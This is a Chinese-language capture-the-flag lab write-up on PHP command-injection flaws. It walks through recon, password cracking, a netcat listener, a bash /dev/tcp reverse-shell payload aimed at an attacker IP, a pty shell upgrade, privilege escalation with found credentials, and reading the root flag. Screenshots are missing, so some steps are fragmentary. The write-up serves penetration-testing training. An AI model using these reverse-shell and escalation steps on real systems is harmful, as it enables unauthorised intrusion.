命令执行漏洞介绍
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数的,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。
实验环境
攻击机:192.168.253.12
靶场机器:192.168.253.18
信息探测
使用sparta工具对信息进行探测;
在kali中输入sparta
kali不是没有Sparta
,可能是换了名字为legion
开始使用:
提交IP之后的扫描结果如图所示:
可以对探测出来的端口进行操作:
使用暴力破解之后:需要设置一些参数
提交之后的结果为:
使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
查看网页源代码:
将hash值复制出来
点击运行之后的结果:
原代码对应的是nick,对应刚刚破解的hash值
登陆系统之后就具有了对应的cookie值,就可以相应的跳转界面。
登陆到系统后台之后,对系统后台文件进行扫描,需要挖掘对应漏洞
漏洞利用
挖漏洞,用扫描;
但是为什么使用AVWS扫描站点会失效呢?没有知道命令执行漏洞?
重新打开网页
反弹shell
攻击机启动监听netcat
nc -nlvp 4444
靶场机器反弹shell
– echo 'bash -i >&/dev/tcp/攻击机lP/4444 0>&1’| bash
渗透测试技巧
优化反弹shell终端
– python -c “import pty;pty.spawn(‘/bin/bash’)”
提升root权限
寻找敏感文件,查找可以用来提权的文件,和内容。
找到用户名和密码执行su用户名,之后输入对应的密码完成提权;
渗透测试技巧
从反弹shell的目录开始查找,依次向上级目录查找敏感信息。可以使用strings文件名﹔查看该文件中的字符串内容;
使用strings 来查看敏感字符
将其复制出来
获取Flag
一般情况下, 靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
Is
cat flag
Writeup测试文档总结文档
总结:
在CTF比赛中,命令执行漏洞具有很多过滤机制。